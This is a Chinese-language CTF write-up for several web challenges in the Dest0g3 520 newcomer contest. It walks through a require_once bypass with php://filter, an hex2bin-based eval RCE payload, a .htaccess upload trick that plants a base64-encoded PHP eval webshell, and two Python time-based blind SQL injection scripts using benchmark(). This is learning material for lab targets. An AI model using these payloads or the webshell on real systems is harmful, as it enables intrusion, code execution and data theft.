Dest0g3 520 迎新赛部分write up


你管这叫迎新赛…

猛新啊,那没事了。

只有自己不会做的世界达成了

Misc的话… 之后再看看

phpdest

require_once绕过


require_once():引用或者包含外部的一个php文件,但是如果已经包含过一次了,该文件不会再次被包含

源码如下:

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once($_GET['file']);
}

可以看见flag.php已经被包含了一次了,所以我们要进行require_once的绕过

参考这篇文章的payload:

php源码分析 require_once 绕过不能重复包含文件的限制 | CN-SEC 中文网

1
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

进行base64解码后就能获得flag

成功获得flag

EasyPHP

提示:Post something

认识set_error_handler()


源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?> Try harder!

上面那个if的条件肯定是实现不了的,哪里有大于24小时或者31天或者60秒的时候啊

所以关键就是在set_error_handler()上了

这个函数是,当报错时,就会执行

也就是我们要POST传参让其报错(

又因为$fl4g 和 $dest0g3之间有个. 代表拼接

(例如fl4g=a dest0g3=b 之后的结果就是ab)

但是php中,数组和字符串是不能拼接的,会报错

所以我们传入数组

1
ctf[]=1

就会报错,执行set_error_hanlder 打印fl4g

SimpleRCE

学到了新姿势…

Try Try hex2bin


源码如下:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

我的妈,那叫一个地狱绘图

ban掉了: ^ 、.、`、大于号、小于号、等于号、双引号、正则preg、&、|、%0、{}、$、+、\

然后ban掉了常用的eval执行的命令

但是,唯独少了个单引号

参考了dalao的wp,发现一个神奇的函数:hex2bin()


hex2bin():转换十六进制字符为二进制ASCII字符串

用法:hex2bin(‘hexcode’)

例:echo hex2bin('68656c6c6f20776f726c64'); //输出Hello World

所以没有过滤单引号给我们使用了hex2bin的机会

只需要构造出system(‘cat /flag’)就结束了

system --> 73797374656d

cat /flag --> 636174202f666c6167

也就是构造

aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167'));

成功获取flag


funny_upload

.htaccess的新姿势

文件上传的新姿势


打开F12可以看到如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

function Checkfiles()
{
var fup = document.getElementById('file');
var fileName = fup.value;
var ext = fileName.substring(fileName.lastIndexOf('.') + 1);
if(ext == "gif" || ext == "GIF" || ext == "JPEG" || ext == "jpeg" || ext == "jpg" || ext == "JPG" || ext == "png" || ext == "PNG")
{
return true;
}
else
{
alert("这个文件不好,我不喜欢");
return false;
}
}

对后缀做了要求,我第一次做的时候直接传.htaccess和图片🐎蚁剑是连不上的= =

看看wp,要用php包含的方式连蚁剑,我也不知道为什么,挺神奇的

我们的.htaccess参数有:

1
2
3
AddHandler php5-script .jpg  //采用php5-script处理器来解析匹配到的文件
SetHandler application/x-httpd-php //将该目录和子目录所有文件映射为php类型(也就是当作PHP文件解析)
AddType application/x-httpd-php .jpg //将特定后缀文件映射为php类型

.htaccess中使用auto_prepend_file与auto_append_file能在所有页面的顶部和底部require文件

php_value auto_prepend_file 在页面顶部加载文件

php_value auto_append_file 在页面底部加载文件

所以我们传入的.htaccess文件内容如下:

1
2
3
AddType application/x-httpd-php .txt  //将.txt文件解析为php
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.txt"
//直接加载php://filter/convert.base64-decode/resource=1.txt(很熟悉吧,如果成功上传,就会在文件的底部加上1.txt base64解码的东西)

然后传个1.txt

1
2
<?php @eval($_POST["a"]);?>  -->base64 encode
PD9waHAgQGV2YWwoJF9QT1NUWyJhIl0pOz8+

蚁剑连接,找到flag


Really Easy SQL

延时盲注(过滤sleep(),substr())


输入啥都没反应,由于又是SQL注入,很容易想到延时盲注

提示是insert注入

所以payload的格式有:0' or payload or'

采用NewStarCTF的延时盲注脚本就可以了

但是这里直接使用会发现啥也没有,那肯定是过滤了字段

找了找writeup:

发现给了黑名单

1
$black_list=array('union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load');

过滤sleep和substr

所以我们的payload修改下,mid能够替换substr,benchmark能替换sleep

benchmark:让数据库反复多次做一件事,增大延迟(比如执行2500000次的MD5加密)

这个benchmark的误差真的太大了,注意使用时按照延迟修改下keep>的参数 尤其是跑table和column的时候,那个误差,会输出全是~

同样使用二分脚本即可,payload编写方式与NewStarCTF 的延时盲注一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time

url ='http://8339f26b-3e1c-4fac-ab18-04b68c3e6279.node4.buuoj.cn:81/'
res=''
for i in range(1,100):
left = 32
right =128
mid = (left + right) // 2
while(left < right):
payload={
'username' : 'a',
#'password' : "0'||if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d,benchmark(3000000,md5(1)),1)||'"%(i,mid)
#'password' : "0'||if(ascii(mid((select(group_concat(column_name))from(information_schema.tables)where(table_name='flaggg')),%d,1))<%d,benchmark(3000000,md5(1)),1)||'"%(i,mid)
'password' : "0'||if(ascii(mid((select(group_concat(cmd))from(flaggg)),%d,1))<%d,benchmark(3000000,md5(1)),1)||'"%(i,mid)
}
#这里使用管道符||替代or,但是黑名单是没有过滤or的,如果使用or的话需要多加一个括号

times = time.time()
html = requests.post(url,data=payload)
timee = time.time()
keep = timee-times
time.sleep(0.2)
print(payload)
if keep > 1.8:
right = mid
else:
left = mid + 1
mid = (left + right) // 2

if mid <=32 or mid >= 127:
break
res+=chr(mid-1)
print(res)


同样的,睡一觉起来就能拿到flag了

先去睡会吧~

不通顺的地方我也没办法,benchmark真的就是误差太大了,我这边使用3000000次和1.8能跑出flag

EasySQL

和上一题是一样的,但是过滤了大小于号…

那么我们就不能够用二分跑了,只能一个个遍历,我靠

用二分能够稍微提速,遍历那就是坐牢中的坐牢了(我手机点完外卖了都没跑完一个)

同样写脚本,只需要注意什么时候中断循环就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time
url='http://b200590b-0cb2-40ff-9914-1837b3815604.node4.buuoj.cn:81/'
res=''
for i in range(1,100):
for j in range(127,32,-1):
a = 0
payload = {
'username' : 'a',
#'password' : "0'||if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))=%d,benchmark(3000000,md5(1)),1)||'"%(i,j)
#'password' : "0'||if(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),%d,1))=%d,benchmark(3000000,md5(1)),1)||'"%(i,j)
'password' : "0'||if(ascii(mid((select(group_concat(cmd))from(flaggg)),%d,1))=%d,benchmark(3000000,md5(1)),1)||'"%(i,j)
}
times = time.time()
html = requests.post(url,data=payload)
timee = time.time()
keep = timee-times
time.sleep(0.2)
print(payload)
if keep > 1.8:
res+=chr(j)#不是二分查询了,所以直接相等就行了
print(res)
break #结束本次循环,进入下一次循环
if(j==33):#中断循环
break
time.sleep(1)
print("Final Result:",res)

同样使用3000000次和1.8的keep,跑出来的结果是最精确的

当然也可以试试(32,127),正向跑,不知道正向跑和反向跑哪个快点呢= =

这是真的慢啊啊啊啊啊

跑了大概17、8分钟后,终于跑完了


会看wp然后会做的就这点了,剩下的啥都不会做,寄寄寄

参考资料:

还是开摆吧,呜呜

Orz